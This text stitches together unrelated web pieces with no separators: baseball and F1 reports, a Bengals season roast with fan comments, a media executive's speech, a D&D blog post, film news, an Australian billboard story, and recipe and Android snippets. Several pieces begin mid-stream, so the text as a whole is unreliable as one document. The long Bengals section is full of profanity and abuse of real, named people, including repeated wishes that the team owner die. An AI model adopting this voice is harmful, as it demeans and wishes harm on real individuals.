"He's working on his secondary pitches, of course, especially his breaking ball, he's working on," Williams said. "But as a pitcher he's very young. He's still feeling his way through that, but it's electric stuff. It's out of the hand really nice."
Treinen hung around a bit longer than expected, making a serious run at a roster spot in a crowded Nationals' 'pen. In six appearances and 9 2/3 IP as a reliever, Treinen allowed 15 hits and seven runs, five of them earned, walking three and striking out nine batters.
"'Easy 96 with some sink,'" Manager Matt Williams told reporters, including the Washington Post's Adam Kilgore, this week. "'He continues to impress.'"
Treinen even called his sort-of out-of-nowhere run at one of the few available spots in the Nats' bullpen a "pleasant surprise" in the WaPost column on the right-hander.
The run came to an end this morning, however, when the Nationals announced via Twitter that Treinen was reassigned to Minor League camp:
The #Nats have reassigned RHP Blake Treinen to Minor League camp. — Washington Nationals (@Nationals) March 24, 2014
The decision to cut Treinen left the Nationals with four pitchers battling for the final spot in the bullpen.
Matt Williams talks Nats' C Wilson Ramos Photo © David Manning/USA TODAY Sports
Aaron Barrett, the other surprising candidate along with Treinen this spring, left-handers Xavier Cedeno and Michael Gonzalez and Tanner Roark, if he doesn't make the rotation, all remain options for the Nationals going into the final week of Spring Training as does Ryan Mattheus, whose injury issues early this spring may have set him back too much for him to make the Opening Day roster.
The fact that Treinen was not on the 40-Man Roster may have worked against him.
Model in scale 1:2000.
-Directly exported from the original source files from CCP
-Cleaned up
-Thickened some parts
-Some major re-modelling because of self-intersecting parts
Your team: Cincinnati Bengals.
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Those towels are stronger than you think.
Your 2016 record: 6-9-1. Congrats, Bengals! For the first time in six years, you did NOT lose in the Wild Card round of the playoffs. Galactic leap forward. But if you’re a Bengals fan still pining for the team’s signature touch of consistent nincompoopery, rest assured that Pacman Jones DID tell a cop to suck his dick this offseason. The stability warms my heart.
Also, the Bengals had the distinction of subjecting British fans to their first-ever tie game. Thanks, Mike Nugent! And the Ravens outsmarted them by committing double holding penalties to run out the clock on them. When you want to test out a new, innovative, possibly extralegal way to humiliate an opponent, you do it against the Bengals.
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Your coach: Marvin Lewis. Again. Hey, guess who doesn’t like the new celebration rules?
“I’m not for that at all,” Lewis, who is on the NFL Competition Committee, said of the change. “We had a good standard, and the whole standard has always been, you want to teach people how to play the game the correct way and go about it the correct way, and that’s not a very good example for young people.”
My man, somehow I doubt celebrating will be much of a problem for you.
Your quarterback: Andy Dalton. Again. Let’s see how Andy fared without support from wideouts Marvin Jones and Mohamed Sanu:
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Oh. Well, that’s not good. Turns out the strategy of hucking every ball at A.J. Green until his legs snap is a misguided one. From here on out, Andy Dalton will be the default comparison anytime a team is reluctantly wedded to a mediocre quarterback for a decade or more. He is an innings eater. “Well, Kirk Cousins still throws horrible interceptions, but what are we gonna do? Start over? No, I’m afraid we’ve been Daltoned.”
What’s new that sucks: Joe Mixon! I should have known. I should have known that the Bengals would be the team to suck it up and draft the ladypuncher.
Asked how he looks, one Cincinnati staffer answered: “Like a beast.”
I bet he does! He gets especially beasty if you happen to insult him at a deli. Keep in mind that this team was already in fine shape at running back with Gio Bernard and Jeremy Hill. And yet, those two just didn’t have the criminal panache that is requisite if you want to be a True Bengal. Here’s Mike Brown tying his tongue in a knot to defend Mixon:
“He’s a young guy. He turned 21 [on Monday]. The incident that he was involved in was three years ago,” Brown said on Tuesday, via ESPN. “He made a terrible mistake. He struck a young woman. He hurt her badly. It was a reflexive action in my mind, when I see the tape of it. I just think he acted without thought. But it was a terrible result.”
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Oh, it was a reflexive action! Well then that makes it FINE. I’m using that from now on. “Officer, I’m so sorry I shot that street busker to death. But he started playing ‘Hotel California’ and I had a REFLEXIVE ACTION. Terrible result!” What other result does Mike Brown expect from a face punch? Did he expect daisies to sprout out of the lady’s nose when it happened? What in the living fuck, Mike?
Mixon and John Ross were added to help offset the skill position losses that crippled Dalton a season ago. Meanwhile, the offensive line has completely fallen apart to the point where they had to bring Andre Smith’s tits back just to patch up the holes. Defensively, they signed the guy the Panthers cut after Julio Jones roasted him for 300 yards. Good thing the Steelers don’t have a fleet of speedy and dangerous wideouts who could take advantage of such defensive liabilities!
One of their former players took his dick out in church parking lot.
What has always sucked: Bored with crippling opposing players, linebacker and Big Fan Of The Principal’s Office Candy Dish Vontaze Burfict has taken up the fun habit of cheap-shotting his own teammates:
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Well now, how can you blame this poor wayward soul for the REFLEXIVE ACTION of knee-diving during a non-contact drill? That’s just hard-nosed football, far as I’m concerned.
Anyway, your 2017 Bengals are pretty much the same as every Bengals outfit this decade. They’ve got enough talented players to get back to the playoffs and lose in the Wild Card round again. Dalton is inconsistent. Marvin is a clueless goober. Burfict is a shitbag. And presiding over all of it is Mike Brown, a man so cheap he makes Bud Selig look like Rick Ross. Brown wrote an open letter to fans last month, apparently unaware that virtually every Bengals fan is waiting for him to die. Here are a few of the highlights:
Since we were formed in 1968, we have enjoyed great support - first at Nippert Stadium, then at Riverfront Stadium, and now at Paul Brown Stadium.
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Your asshole stadium took money from schools. Also, I had no idea they once played in a joint called Nippert Stadium. THE BIG NIP.
Memories of our first 49 years are too many to mention…
So true. Like the time Chris Henry fell off a truck and died.
You have shown us the way to six playoff appearances in the past eight years, including three AFC North division crowns.
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That did happen. I wonder what happened after they made the playoffs!
Do you know the worst part of all this? For all of Mike Brown’s scumbaggery—from looting local coffers to surreptitiously bribing local aldermen to drafting the Joe Mixons of the world to skimping on hiring a formal scouting department—he still gets fawning knobjobs like this one from the local press.
Mike fought to bring this football family into existence for his father. He professes a unique pride in keeping it a family business all these years. Many others across the league have failed, whether due to finances or in-fighting.
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God man, FUCK YOU. This is a billion-dollar franchise and you’re treating it like Uncle Pappy’s General Store? DIE. The guy who wrote this tripe goes on to list all the “family-owned” NFL teams, like they belong in the Smithsonian. That list (Fords, Browns, McCaskeys, Bidwills, Davises) reads like a case for upping the estate tax to 1,000 percent. Mike Brown is a loser who inherited his team from his old man and hasn’t won a goddamn thing. The man constantly whines about playing in a small market and wants the big boys to share with him even as he makes absolutely no effort to generate any local revenue. He is a liver-spotted turd.
But in the NFL’s orbit, his deathly grip over this franchise is treated as some kind of wistful throwback. Yes, in an age of smartphones and self-driven cars, thank God some things remain constant, like MIKE FUCKING BROWN still being a rich old asshole who deserves to rot on a street corner for time eternity. Real heartwarming stuff. The repo man should have visited this franchise three decades ago.
Did you know? Cincinnati is a more hideous Cleveland? Even Ohio doesn’t REALLY want you, Cincy. Also, five U.S. presidents are from there: William Howard Taft, Rutherford B. Hayes, Ulysses S. Grant, William Henry Harrison, and Benjamin Harrison. That reads a list of contenders vying to be the second-worst President in history.
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What might not suck: Those four games a year where Tyler Eifert isn’t hurt? MAGIC.
Also, I can’t hate on your 20,000-lb. pretzel sandwiches.
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Beats Skyline any day.
HEAR IT FROM BENGALS FANS!
Michael:
I once saw Mike Brown at a First Watch restaurant. He ordered a bowl of soup and asked the server specifically if crackers were extra.
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Brendan:
Mike Brown runs his organization as a hybrid of a 1870s coal mine company store and a 1980s used car dealership. He’s like if you turned Jerry Jones inside-out.
Dave:
Marvin Lewis makes me wish I had more middle fingers.
Michael:
The Cincinnati Bengals are not worth your time anymore.
Mike:
Mark Twain properly defined Cincinnati as always being 10 years behind everyone else. Our play-calling in clutch moments seems to be holding dearly onto that idea.
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Zach:
They’re apparently cool with Pacman being a mentor to Mixon.
Jon:
The Bengals haven’t won a playoff game since Odell Beckham Jr. was alive. And he’ll die of old age before they win another one.
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Andy:
Pacman Jones spit on a nurse!
Shaun:
Given that Mike Brown loves saving money more than he loves his own child and has a pathological aversion to spending it, I don’t understand why he doesn’t just sell the team for an additional fortune and spend the rest of his years ecstatically farting into a couch stuffed with hundred dollar bills.
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Brendan:
Last season the Bengals allowed 41 sacks. In the offseason, we proceeded to allow two linemen to walk away. That would make sense, except those two linemen combined to give up one of those 41 sacks, while we kept the guys who allowed 40. Our solution was to bring back Andre Smith and his fat tits from your Vikings. All we have to look forward to this year is AJ Green doing more spectacular AJ Green things and Vontaze obliging Big Ben’s retirement wishes a few months early.
Braden:
Because Adam “Pacman” Jones is still on this team after getting arrested in the offseason AGAIN and of all the players in college to draft they chose the guy who cold-cocked a woman in the face and was caught doing it on camera. But Marvin Lewis is such a good influence! He’ll turn him into a MAN.
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Ryan:
During the final two months of the ‘05 season, every Ohio State Buckeye fan within 150 miles of Cincinnati who did not actively support another NFL team suddenly decided they’re a Bengals fan. If you’re not familiar with Ohio State football fans, imagine Kentucky basketball fans without the chill; imagine St. Louis Cardinals fans without the humility; imagine New England Patriots fans without the firm, vice-like grip on reality. And now we have to put up with these fucking people at every game. Bandwagon Ohio State fans remain the majority shareholder of the Bengals fanbase to this day, whether we like it or not. If Bengals fans have the reputation of being delusional crybabies with an undeserved sense of entitlement, well, it’s because that’s an accurate assessment of the current composition of our fanbase. January 2006 was like living the worst episode of the Twilight Zone ever, one where a bunch of alien lifeform shape-shifting douchecanoes come to Earth on the night of your first playoff game in 15 years, morph into humans wearing the exact same orange and black as you, and spew whiny bullshit like ‘WAAAH!!!! THE STEELERS CHEATED!!!! THEY ONLY WON BECAUSE THEY’RE CHEATING THUGS!’’ for the better part of the next fucking decade. Who would have ever imagined that Ohio State, a fanbase with six losing football seasons since 1925, would be thoroughly incapable of processing the emotions required to be a Bengals fan? I hope every one of them eats five postgame bowls of Skyline Chili and gets stuck in traffic on the interstate. Unsurprisingly, our fans are among the most difficult, intransigent, hyper-defensive individuals on the planet. I would say talking to them is like talking to a wall, but walls don’t interrupt. I would say it’s like talking to a child, but children have the capacity to learn. No, the only way to encapsulate the frustration is to picture a horrifying chimerical future in which some rich asshole develops and markets the Telepods from The Fly, only to see swarms of 8-year-olds around the country getting trapped inside them while clutching samples of drywall. The undesirable traits of child and wall then fuse into an unapologetically ill-tempered abomination of God, and presto, another Buckeye Bengal is born. Seriously, the stadium should have been razed at this time last year with Steven Adler’s Guns N’ Roses reunion as its final chapter because that’s a hell of a lot better than whatever the fuck the Bengals plan on writing. Paul Brown Stadium consistently houses the most embarrassing fan behavior I’ve witnessed, and this is coming from a guy who regularly attends games at Rupp Arena. Considering the average fan, it is nauseatingly apposite that this franchise’s last playoff win is chronologically closer to the 1964 production of the first Ford Mustang than it is to the present day. Sometimes, I find myself secretly yearning for the 1990s Riverfront Stadium days when Kordell Stewart would come to the line for the Steelers, flap his arms, and successfully hush the crowd. In the away stadium. Preseason opener in two weeks. Come for the football, stay for the PTSD. I’ll be there, as always.
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Erik:
I’m a lifelong Bengals fan from the Cincinnati area who lives in Columbus now. I decided to join a friend for the 2015 playoff game against the Steelers because why not witness that dumpster fire in person? In the 3rd quarter, I stood in a bathroom line behind a fellow Bengals fan so drunk, he swayed back and forth, barely able to stay on his feet. When we got in front of the urinals, he spotted an 8-year-old kid in a Ben Roethlisberger jersey too nervous to pee with his dad standing next to him (also in Steelers gear), reassuring him that it was okay to pee. The drunk guy in front of me screamed “FUCK BEN ROETHLISBERGER! FUCK THE STEELERS! WHODEY!” at this kid for the next 30 seconds. That kid was terrified.
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Chris:
At a family get together during Super Bowl XXIII, most of my slightly older loud-mouthed cousins were 49ers fans, so in my four-year old wisdom, I thought being contrarian would be the smart play! So I cheered for the Bengals, they lost, and I’ve been losing as a Bengals fan ever since. I knew they’d lose in 2009 to the Jets. I knew they’d lose to the Texans in 2011 and 2012. I somehow knew they’d blow it against the Chargers in 2013 and knew that their injury-riddled group would get knocked out by the Colts in 2014. But somehow, some way, I thought 2015 would be different even with a backup quarterback and the hated Steelers awaiting in the playoffs. And it looked like it would be. But reality kicked the Bengals and all of their tortured fans squarely in the nuts. We were driving home and listening to the final five-ish minutes on the radio when it all went south. When the game unraveled, I did as well. We arrived home and I sat stunned in the car after I had unleashed a few choice words for everything Bengal. I even cursed Kevin Harlan, my favorite play-by-play guy because he happened to be doing the game. I’m a huge sports fan and watch a lot of games, so my girlfriend (now fiancee) has seen me keep a pretty level head during just about everything. Except this game. She was legitimately shocked at how invested I was in the game and how upset I was with the Bengals losing. I’d try to explain it the next day, but her surprise never really went away. If I could go back and punch four-year old me in the face, I’d gladly do it.
Jared:
When I watched the Kevin Costner movie “Draft Day” I had to leave the theater because the Montana-to-Taylor winning touchdown pass gave me a panic attack. I was eight when that Super Bowl happened.
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Joseph:
Drafting Joe Mixon broke me. If in 2017 this organization can’t see that disaster train coming after an off season of vintage Pacman Jones off-season highlights, then who gives a shit about anything else. The Bengals are permenatly fucked to lose forever. God isn’t dead, it was that he was never real in the first place.
Alex:
Mike Brown is too cheap to build an indoor practice facility. Cincinnati FC, which I understand is some sort of semi-pro soccer team, is building one this year. I hope Brown has a heart attack at Skyline Chili today.
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Chris:
I started following the r/Bengals subreddit in order to keep tabs on the draft this year. That place has a level of delusion and aversion to facts on par with the Trump hivemind. Some typical posts include: Dixon is a great kid, and the rest of the NFL is just maligning him because he’s on our team and it fits their narrative. Here’s a list of players on other teams who have also hit women . . Burfict is a locker-room leader and upstanding member of the community. The rest of the NFL just hates him because he’s on our team and it fits their narrative. Here’s a list of players on other teams who are also cheap shot artists . . . Pacman had a troubled youth but has turned his life around and just had one bad night, but nobody will listen because it doesn’t fit their narrative. Here’s a list of players on other teams who are 33-fucking-years-old and have been in jail 9 times for spitting on nurses and assaulting police officers. . . Andy Dalton is clearly a top-5, maybe top-3, quarterback. He just needs a better supporting cast around him. How is he supposed to win playoff games with only the league’s best receiver and a top-10 defense? Here’s a list of washed-up O-linemen I wish we would sign. . . For the record, I also believe each of those things to be true because I’m a piece of shit person who roots for this piece of shit team and deserves all the bad things that happen to them.
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JP:
I took last season off from the Bengals. Had to. The Pittsburgh playoff game felt like the end of something big, and I couldn’t force myself to care what happened to them in its aftermath. Brother, it was awesome, and the time off left me totally at peace with everything. Like a sickness passed. By early-March, I started thinking about coming back. I’d finally shaken the Pittsburgh apocalypse out of my system, AJ Green’s a baller, that defense is fun…I was actually kind of looking forward to getting back in the mix. Then they did all of the following, in quick succession: 1) Let left tackle Andrew Whitworth walk for nothing in free agency, along with guard Kevin Zeitler, two keys to what was once one of the most dominating offensive lines in football, replacing both with cheaper, unproven in-house options despite having more than enough money laying around to re-sign both and a “franchise” quarterback who is totally useless under even the faintest pressure; 2) Drafted Face-Puncher of Women Joe Mixon, which everyone saw coming but still felt and continues to feel dirty; 3) Trotted Marvin Lewis out to speak against the elimination of the anti-celebration rule, letting this pathetic dick with an 0-7 playoff record talk some anodyne bullshit about being an example for the kids (remember, this guy just drafted JOE MIXON, and coaches Pacman and Burfict) on behalf of owner Mike Brown, a hideously enflamed ass pimple of a man who makes Trump look like Jesus and is against doing anything fun. So that’s gonna make it one more year, at least. Fuck this franchise, for real.
Michael:
You know how Buffalo is kind of like the little brother city of NYC? Or Pittsburgh is Philly’s little brother? Or Dallas is always little brothering Houston? Well, Cincinnati is getting little brothered by Cleveland. Cleveland. Cleveland has LeBron, a championship this millennium, a team in the World Series, free agents actually wanting to go there, and last but not least the head football coach all Bengals fans heartily lust after, Hue Jackson. The Bengals, a for-profit work release program and occasional football team, have slipped in the local sports pecking order by the following entities: 1. the basement-dwelling yet still somehow overachieving Reds, 2. the sixth place third tier minor league soccer team FC Cincinnati, 3. the most recent Xavier March Madness flame out, 4. UC’s embarrassingly futile attempts to join a real conference, 5. Macc’s beer league softball team, 6. backyard cornhole (both kinds), 7. making Harambe jokes (STILL!), and of course, 8. Urban Meyer’s freshest quarter-zip windbreaker. Woman-clobbering Joe Mixon wasn’t drafted by the Bengals; he was raptured there by the team’s insatiable thirst for hardened criminals. Pacman Jones had an impressive offseason even by his own lofty standards: obstructing justice, disorderly conduct, assault and felonious harassment with a bodily fluid. He got a one game suspension for his troubles. Andrew Whitworth is LA’s first-and-fifteen now, but guess who’s back? Andre Smith, a man who once broke his foot by sole virtue of being fat. Cincinnati, which has two publicly funded stadia it won’t pay off before the Ohio River swells large enough flush away the entire city, is eyeing not one but two more stadium projects to house college basketball and minor league soccer. Cincinnati is the fat man from Monty Python’s The Meaning Of Life eating his after dinner mint. Steeler fans can be found throughout the country, but Yinzer Nation is deeply pervasive in Southwest Ohio. The latest evidence? Primanti Brothers has opened just up I75 in Dayton. It won’t be long before they put one right outside Paul Brown Stadium so they can more easily splooge IC Light in my face after the latest Steelers romp. This the Bengals’ 50th season and there is literally zero hype for it. People that achieve as little as the Bengals have in 50 years probably hang themselves.
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Kyle:
After the 2005 season, my college roommates and I got on the season ticket waiting list. We kept them for two years, during which time the waiting list vanished.
Wesley:
Reading hopeful Bengals fan comments online have become truly tragic. It’s like seeing a soldier in a war movie step on a landline, blow half his guts out and then tries to pretend with you that he isn’t about to die. “Yeah, man, Bengals are going to win the Super Bowl this year,” *coughs blood* “Going to win it all this year, bro, just you wait. You’ll see.” *bleeds more* *Me the more cynical Bengals fan sobbing* “Sure, they will, brother. Who Dey, right?” *holding back tears* “This is our year, Bengals all the way right? Listen I’m going to have the chaplin talk to you for a second but don’t worry, man, I’ll see you at the Super Bowl.” *cries more* Marvin Lewis is going to be just a head in a jar in a 1000 years ala Futurama coaching a team of cockroaches and commentators will still be asking if this “is the year Cincy finally gets over the hump?”
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Sean:
Part of the reason why the Bengals suck so bad is that I have to clarify which part of the Bengals I’m referring to when I say they suck. Am I referring to their owner, who is truly one of the worst humans on earth? Am I referring to the actual product on the field? No, the real reason the Bengals suck is because in the early days of 2016, the Bengals decided to crush the souls of their fans. We finally did it. We were not only going to get our first playoff win in a million years, but against our biggest rivals. Burfict celebrated by running all the way down the tunnel and I cheered; oh man, did I cheer. Then Adam Jones lost his mind and Burfict lost his mind and I got to watch the Steelers, literally, walk down the field and kick the winning field goal. I got a text from my buddy who is a PA native and diehard Steelers fan. We often trash talk during games, so I was expecting it. All the text said was “Are you alright? That was just terrible”. The Bengals found a way to make even the biggest of Steelers fans not gloat, but legitimately feel bad for us Bengals fans, which is so much worse. I had to watch last season through the bottom of an empty bottle. Fuck, the Bengals suck.
Patrick:
I liked the John Ross pick. He’s exciting and I’m excited to have him. Andy Dalton is going to get creamed every time they try to send him on a vertical route though because the defenders will blast him with 2.5 seconds of him hiking the ball every time.
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Alex:
The Bengals last playoff win was 26 years ago, against the Houston Oilers. In fact the defunct Houston Oilers have a more recent playoff win than the Bengals. The Bengals have lost their last eight playoff games. Only Detroit has lost more (nine), but the Lions most recent playoff win is still one year less (25) than the Bengals. O.J. Simpson murdered people, went through a lengthy trial, was acquitted, was sued, committed armed robbery, was convicted, went to prison for nine years, and has been paroled, all in the time since the Bengals last won a damn playoff game. He’ll probably do all of those things again before this team wins a playoff game. To make things worse, the Reds haven’t advanced out of the first round of the playoffs since 1995. Cleveland, Buffalo, Detroit, and any other “sad/depressed” sports city out there has had one of their pro teams win a title or at the very least a damn playoff game/series since October 1995. Cincinnati takes the sad, moldy, cake for most depressed, deprived, etc. sports city. This city and franchise is cursed all because they ended Bo Jackson’s career, the game immediately following their last playoff win. Fuck me and fuck this team. Oh and still, FUCK Kimo Von Oelhoffen.
Jonathan:
Witnessing the Falcons second half self destruction this past February, the feeling was incredibly familiar. The texts were flying between my Bengals friends. Well before it was over, we all said it felt like a standard Bengals big game collapse. As Bengals fans, we preternaturally knew where this was going. When the Patriots finally scored the last TD, it was almost relief. Fuck the Falcons for not running the ball most of the half. And Fuck Mike Brown.
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Speaking at the Asia society in Hong Kong, News Corp CEO Robert Thomson discussed the recent scandal surrounding brand advertisements and extremist content on the internet. “The embarrassment for these advertisers, naturally conscious of their image, is understandable, but the situation is far more serious than mere loss of face,” said Thomson.
Thomson referred to the algorithms used by Facebook and Google as “Orwellian” in nature: “The word Orwellian is flagrantly used and abused. But when it comes to the all-powerful algorithms of Google, Amazon and Facebook, otherwise known as GAF, Orwellian is unused.” He continued, “The institutional neglect has now left us perched on the edge of the slippery slope of censorship.”
Thomson issued a warning to all those that value freedom of speech, saying, “Regardless of your own political views, you should be concerned that we are entering an era in which the two most powerful news publishers in human history, and I say that again, the two most powerful news publishers in human history, are going to routinely and selectively ‘unpublish’ certain views and news.” Thomson stated, “The obviously grotesque is obvious, but the arguably wrong may be right.”
Discussing the effects of social media on modern journalism, Thomson said, “The digital duopoly [of Google and Facebook] has rewritten the rules in a way that has written much journalism and integrity out of the script. Google’s commodification of content, which knowingly, willfully undermined provenance for profit, and then followed by the Facebook stream with its journalistic jetsam and fake flotsam, have created an ecosystem that is dysfunctional and socially destructive.”
He continued, “Both companies could have done far more to highlight that there is a hierarchy of content, but, instead, they have prospered mightily by peddling a flat earth philosophy that doesn’t wish to distinguish between the fake and the real because they make copious amounts of money from both – for them, free content has been free money.”
Yes, my dear friends, I believe that WOTC has got it right with the way they are changing the Dungeons & Dragons franchise. Since 4E came out “all those years ago”, we’ve seen a very obvious shift in their publishing practises and product development, and I think they’re just about to hit the nail on the head with their thinking.
First let’s get into the way of thinking of Hasbro and Wizards of the Coast: Money.
Now let’s get into the way of thinking of WOTC employees: Fun and games.
Now the difficulty is to reconcile both. That is very difficult because eventually, money has to win. If there is not enough money, then the big bosses pull the plug and the employees can’t create any more games.
So the designers have a very difficult job in making something fun but that has to be, ultimately, profitable, even if it is not good (and I am not saying it isn’t). As someone who has a job that demands me to create things with limitations (sometimes stupid ones!), my heart goes to them. I can imagine they could do a lot better if they didn’t have to change formulas and make enormous compromises in order to come up with something that’ll be approved.
However let’s not vilify the big companies. At least not for that reason. After all they’re taking a gamble. Even if a formula can be researched, when Dungeons & Dragons undertook the massive change from 3.5 to 4th Edition, they took a massive gamble. One that’s paid off.
It is true that the war still rages out there. People still fight and get all uptight about 3.5 and 4E. Time to move on, guys… Paizo is doing much too good a job of Pathfinder to feel your favourite game has ceased to exist.
Now, let’s analyze what WOTC has done with D&D and with GammaWorld. Also the change in direction from the start of 4E, to the current trend. Cards.
You see, WOTC realized a while ago (sort of since they started) that collectable cards actually do sell very well and that lots of kiddies love them because they can trade and they can go to a shop and get “something” for very little money that will keep them entertained for a while.
D&D heavy books?… not so much! They take longer to read, are a lot heavier and you need to have a lot of money to buy just the one. Oh, and they are not as pretty. So they sell less.
So they have done their best to merge the nature with the RPG gaming nature, and, for better or worse, they’ve pretty much succeeded. D&D 4E is a good game, there is no doubt about that.
Before you sneer and look at me askance with the idea of calling the nearest psychiatrist, leave aside your loyalty for the brand you’ve been playing for so long. The game might not feel what D&D has felt for the last 30 years, it may not work the same, but it is a fun, fast, flexible and approachable game.
Sorry guys, but Pathfinder is not as approachable as D&D 4E, and it isn’t, simply, because it is not as modular.
With the current D&D system, you can get the basic set and start playing battles in 15 minutes. Then you read the rest of the rules and start to add to your game, but the fact is that it takes less to start playing D&D. Even if it is a much much much much reduced version of the game and barely resembles an RPG.
GammaWorld has cemented the fact that cards can make an RPG fun. The new Monster Vaults and the way they’re presenting adventures and settings, back to the box, more paper and book light and more token and cards heavy tell us that Hasbro and WOTC do like that.
The fact that the game is being sold more than any other D&D before (according to them, I hasten to add!) shows the game still has life in it, even if it is a different game from the one we grew up with (those of you who grew up!).
So the Powers that Be have come up with a formula that:
Is attracting new players (never a bad thing)
That is making money (never a bad thing)
Is easy to expand and renew. Adding new cards and smaller books for settings can keep everything flowing easily and for many years (never a bad thing)
People, whether you like it or not, it is a winning formula.
However why isn’t it winning?
We’ve established that Pathfinder is not as approachable a game, and yet Paizo keeps growing and growing and Pathfinder becoming the game of choice for a huge percentage of role players who want a fantasy setting.
Well, that’s because Paizo is going some things well, and WOTC is doing some things very badly.
For starters Paizo is a much nicer company. Now I am talking company, not people in the company. I am sure people in WOTC are lovely, at least most of them. However Paizo is nicer as a company. They’re friendlier, more approachable from the media, way more communicative when there is an issue and, most importantly, they have a MUCH better formula to looking after their customers and community.
The Pathfinder Society is a much better way to support players than the multitude of websites, e-magazines and forums that WOTC has. It is also much better in involving people than the Encounters initiative.
For starters The Pathfinder Society takes cares of their people outside the USA and without the need for a shop. Encounter modules are difficult to find in the UK if you have a shop nearby. Impossible if you don’t (unless you want to pay a fair bit in eBay, of course).
Secondly the quality of the adventures is higher when is about Paizo. Yep… please do argue with that. I’d love to hear otherwise. If you don’t believe me, check the review of the Dark Sun Encounters adventure review I published a few months ago.
Thirdly, Paizo hasn’t change their policies and left people hanging. 4E started with a great balance of rule books, adventure books and accessories. Then the adventures begun to disappear, leaving people like me, as in people without time, without a good way to get ready to run adventures. I admit it, some of Paizo’s adventures do take a fair bit to prepare, but boy are they a joy to read!
So, has Wizards of the Coast (aka Hasbro) got it right? For sure. Is a terrific formula.
Has Paizo got it right? Absolutely, they’re improving the already invented wheel and it rolls very nicely.
Can they both co-exist? Yep… and I think they will for many years to come. Until Paizo takes over.
My predictions:
Paizo will continue to grow because they will continue to build real communities of real players with really good quality material. And they’ll grow a lot because:
Wizards of the Coast will continue to grow because they’ve created a product and a formula that will keep attracting new and young players to the table. However those players will grow up and will either grow out of the game because they find it too simplistic, or will grow into other games because they need more, thus falling into the gentle and nurturing arms of Paizo and many other companies.
However, as Paizo’s growth will continue steady but slow, WotC will plateau at some point. Also Paizo and Pathfinder will continue to grow outside the USA because of the support that Paizo offers to their community, while WotC will never bother with that because they make enough money as it is without putting the effort.
I don’t think D&D is going anywhere anytime soon. In fact I can see how it will remain for a very long time, but I can also see how the players who made it what it is today will probably shy away out of boredom or, simply, age (we aren’t getting any younger, guys and gals!). If the bosses at Hasbro change their tact and decide to take care and nurture their customers like Paizo does, then Paizo will have reasons to worry.
The Scuderia's hopes of ending their near-decade title drought are all but over for another year after an increasingly turbulent first half of the 2016 season. The Italian team are yet to win a race and have slipped to third behind Red Bull in the Constructors' Championship.
Analysis: What now for Ferrari?
Highly-respected technical director James Allison left the team ahead of last weekend's German GP and has been replaced by head of engines Mattia Binotto.
Speaking after his cars finished more than half a minute behind Mercedes at Hockenheim, team boss Maurizio Arrivabene insisted the team knew where they had to improve and were putting changes in place.
"We are reorganising the team without panicking because taking that decision means that we are clear in mind what to do in terms of organisation," he said.
Sky F1 looks back at the impact James Allison had on Ferrari and how they will move forward following the mutual decision for him to depart the team Sky F1 looks back at the impact James Allison had on Ferrari and how they will move forward following the mutual decision for him to depart the team
"Looking forward for the rest of the season, we know as well, very, very clearly the area where we have to work."
Arrivabene confirmed that their aerodynamic development of the SF16-H had stalled since May's Spanish GP.
"In Canada we reacted quite well thanks to the engine, but if I look at the situation now and I go back, we don't have great improvement in downforce since Barcelona. That is the problem," he said.
Vettel plays down radio overrule
"This is the reason why I said we clearly know we have to work now and we have to do it as soon as possible, even if it's not easy."
By contrast, rivals Red Bull have made consistent improvements since the start of the season and have finished with at least one car ahead of Ferrari in each of the last four races. They now lead the Scuderia by 14 points in the standings in the battle for second behind runaway leaders Mercedes.
For one lap and one lap only, Ferrari's Sebastian Vettel and an ambulance man swap jobs and race each other's respective vehicles For one lap and one lap only, Ferrari's Sebastian Vettel and an ambulance man swap jobs and race each other's respective vehicles
"They improved quite well, it's in front of all of us and it was something that was in our mind," Arrivabene added.
"That doesn't mean we are going to surrender. During this [summer] period we have to think about it and react."
“Well, I *think* it is. Ridley asked Neill NOT to make our Alien til after Prometheus 2. He (Ridley) wanted his movie to shoot and be released first. But it’s an AMAZING script, and Neill and I are REALLY excited about doing it. We’re doing other things until we can get going on that. I’d be really surprised if we DIDN’T do it, because it’s such a great script, and we love working together. So, it’s just going to take a little bit longer to get out to you, but it’ll be worth the wait.”
The comments come via Aggressive Comix who also mentioned that “the audience reacted strongly” to the news. It is great to hear Sigourney’s enthusiasm for the script. Back in September of 2015, Ridley Scott also commented on Blomkamp’s script saying “we just have the first [screenplay] draft in so far but it looks pretty good.”
The last we heard of Blomkamp’s Alien sequel, it was on hold whilst Sir Ridley Scott worked on the Prometheus sequel, now titled Alien: Covenant. When speaking about Alien 5 previously, Ridley Scott had stated the intent to release Alien: Covenant first and then start work on Blomkamp’s sequel: “I’m producing it… The design is for it to go out next, after this. This will go out first. It’s more associated with Ripley, it’s a completely different angle, it’s more of a sequel. I’m coming in from the back end.”
Bloody Disgusting, who first broke the news of the possibility of the postponement of Alien 5, also reported that Alien 5 would likely be filming in 2017 for a 2018 release: “If all goes well, Blomkamp will likely shoot Alien 5 sometime in 2017, ahead of a release the following year. So that gives fans a one-two punch of Scott’s Prometheus 2 in 2017 and Blomkamp’s own Alien film in 2018.”
An Australia Day advert featuring two girls in hijabs in front of an Australian flag has been removed from a Melbourne street after threats were made to the billboard company.
The Victoria state government said the company, QMS, received a series of "abusive and threatening" complaints.
A spokesman for QMS would not detail the nature of the threats to the BBC.
The digital advert, promoting a series of government-backed events, had been the subject of online debate.
Victoria's Minister for Multicultural Affairs Robin Scott said it was disappointing to see "a small minority attacking proud Australians".
"Anyone who considers this a victory needs a refresher on the true meaning of Australia Day," he said in a statement.
"It is about bringing people together and celebrating the diversity which makes this state and this country great."
Australia Day is a public holiday celebrated on 26 January, marking the day Britain's First Fleet arrived in 1788.
Photo shared online
The scrolling advert featured about five other images, a government spokeswoman said. The Guardian reported the images featured people of various cultural backgrounds.
It has been the subject of online discussion since Friday when a photo of the billboard was widely shared among far-right groups on Facebook.
People commenting on the posts claimed the image was not a true reflection of Australia Day, with some labelling it "propaganda".
But others defended the advert, saying Australia was a proud multicultural nation.
These chickpea sandwiches are special. A French chef named Jean-Pierre taught me to make them. Sort of.
I had a chickpea sandwich for lunch at a pub a while back. At the time I wasn’t too enthused about the idea of a chickpea sandwich. It sounded kind of boring to me, but it was the only thing on the menu that I could eat. I guess I’m never that enthused about any option that’s the only option. It turned out to be surprisingly tasty, and since then a bunch of chickpea sandwiches online have caught my attention. I wanted to create my own version but was at a bit of a loss as to what I could do differently. That’s where Jean-Pierre comes in.
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Android 4.0, codenamed Ice Cream Sandwich (ICS), is the latest version of Google’s mobile operating system. It will ship on the upcoming Galaxy Nexus handset, which was unveiled last month at an event in Hong Kong. ICS is a significant update because it brings together Android’s tablet and phone interfaces in a unified environment.
